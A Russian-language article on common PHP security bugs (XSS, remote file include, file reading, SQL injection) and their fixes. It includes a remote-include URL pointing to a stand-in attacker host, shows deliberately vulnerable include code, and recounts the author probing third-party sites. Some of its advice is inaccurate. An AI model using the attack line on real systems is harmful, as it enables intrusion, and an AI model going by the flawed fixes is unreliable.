Эту статью я решил написать не потому что хочу помочь начинающим кодерам, а просто потому что надо чем-то заполнить контент сайта. Шутка. На самом деле я преследовал именно благородные цели, хотел принести свой собственный вклад в развитие секурного web-программирования=). И так, сразу говорю, что в основном я здесь рассмотрю ошибки (не углубляясь в их суть) и их устранение в языке PHP. Попытаюсь собрать самые часто распространенные недочеты. Начну с самых распространенных и "попсовых" багов=). 1. XSS (CrossSiteScripting) Обычно такая ошибка возникает, когда какому-либо скрипту передается параметр, который впоследствии выводится на html-страницу, при этом не проходя определенную фильтрацию на содержание тегов. Рассмотрим пример подобной уязвимости, которую я нашел в декабре 2004 года на mail.ru (эх, жалко, что я тогда даже не знал, что это - уязвимость): при отправке письма пользователю надо заполнить форму, в которой указывался адрес получателя, тема письма, ну и само письмо (правда, контент письма не играл не какой роли). При нажатии кнопки "Отправить" отправитель переходил на страницу, на которой ему сообщалось, что сообщение для такого-то с темой такой-то успешно отправлено. Но уязвимость заключалась в том, что адрес получателя и тема письма передавались этой странице в открытом виде методом GET, т.е. эти данные отражались в адресной строке. Увидев это, у меня возникло желание заменить параметры на html-теги. Сработало! А значит, если передавать в параметр java-script, то он будет выполняться у любого юзера, который откроет "такую" страницу. Теперь подробнее о том, как избежать такой уязвимости при создании своего скрипта. Основное правило - фильтрация входных данных, поступающих от пользователя. В php это делается функциями htmlspecialchars() и striptags(). Лично я пользуюсь последней, но принципиальной разницы нету, обе функции равноправны. Они просто удаляют теги из входной строки (естественно, можно задавать разрешенные теги). И ещё один совет: если вы пользуетесб html-формами для взаимодействия со скриптами, то метод, с помощью которого они будут передавать данные должен быть "POST"!!! Это, по крайней мере, не будет в открытом виде высвечивать в адресной строке, что и куда передаётся: В более-менее продвинутых форумах сейчас также практикуется XSS через BBcode, но об этом уже не в этой статье: 2. Ошибка php-include В суть самой уязвимости, как я сказал в начале, я вникать не буду, а сразу перейду к способам её устранения. Чтобы избежать присоединения "левого" кода к вашему скрипту, есть один проверенный способ: пропустить входные данные (имя присоединяемого файла) через оператор условия. Например: <? switch ($file): { case("articles"): include ("articles.php");break; case("news"): include ("news.php");break; default: include("index.php");break;// - это защита от подстановки неправильных данных } ?> Также, можно использовать оператор "if". Из своего личного опыта могу сказать, что довольно часто встречалась такая ситуация: есть файл index.php, в котором объявляется какой-нибудь статический файл, и к этому index.php функцией include присоединялся другой php-файл, в котором уже шла работа непосредственно с тем статическим файлом. На примере это выглядит примерно так: <? //Файл index.php $f="some_file.php"; include("file_functions.php"); . . . ?> а в файле file_functions.php примерно такое содержание: <? //Файл file_functions.php include($f); . . :.some actions . ?> Таким образом, присоединяемый файл some_file.php объявлен во внешнем файле, и если вызвать отдельно "file_functions.php?f=http://attacer_site/evil_script.php", то выполнится код, содержащийся в удаленном скрипте evil_script.php (при условии, что в настройках PHP есть разрешение инклудить файлы извне и включен флаг register_globals=on). Всем этим я хотел сказать, что объявлять файл надо в том же скрипте, который с этим файлом и работает (фууф, надеюсь, все понятно). 3. Чтение файлов на сервере Ситуация чем то похожа на предыдущую, потому опять же, очень часто файл, с которым идет работа объявляется совершенно не там где надо. Вот пример: Есть файл index.php, содержащий такой код: <? //Файл index.php $f="some_file.txt"; //расширение может быть любым include ("file_functions.php"); . . . ?> А вот такой код содержится в файле file_functions.php: <? //Файл file_functions.php $file=fopen("$f","r"); . .//some actions (чтение и вывод, например) . fclose("$f"); ?> Поэтому опять же повторю, что объявлять файл, с которым работает скрипт надо именно в этом скрипте, чтобы избежать попадания информации ко взломщику. 4. SQL-injection Сегодня уже можно с уверенностью сказать, что если скрипт вызывается с параметром "id", или чем-то похожим, то он (скрипт) работает с БД, и этот самый параметр участвует в запросе. Как правило, в параметр, a участвующий в запросе, передается числовое значение поля, по которому данные изымаются из таблицы. Чтобы избежать изменения запроса (посредством изменения параметра: добавление кавычек, union select, или других выражений MYSQL), нужно, чтобы в параметр передавалось ТОЛЬКО ЧИСЛО. В этом поможет функция intval(), которая преобразует заданную переменную в числовую. Пример: <? $var="100asd"; $var=intval($var); echo "$var"; ?> В данном случае, после обработки, переменная $var будет равна ЧИСЛУ 100. Так что на sql-запросе подстановка неправильных параметров не отразится. 5. Другое В одном из самодельных (да, в паблик-продуктах таких идиотских ошибок не может быть) форумов я нашел такую ошибку: в один из параметров передавалось не что иное, а php-код!!! Для меня в том случае было ещё одно обстоятельство, которое не могло не радовать: на сервере стояла Винда, так что было где поразвлечься! Команды выполнялись практически, дело дошло уже до того, что я вписывал в параметр код целыми строками. Да: Идиотская прореха. Автор: antiox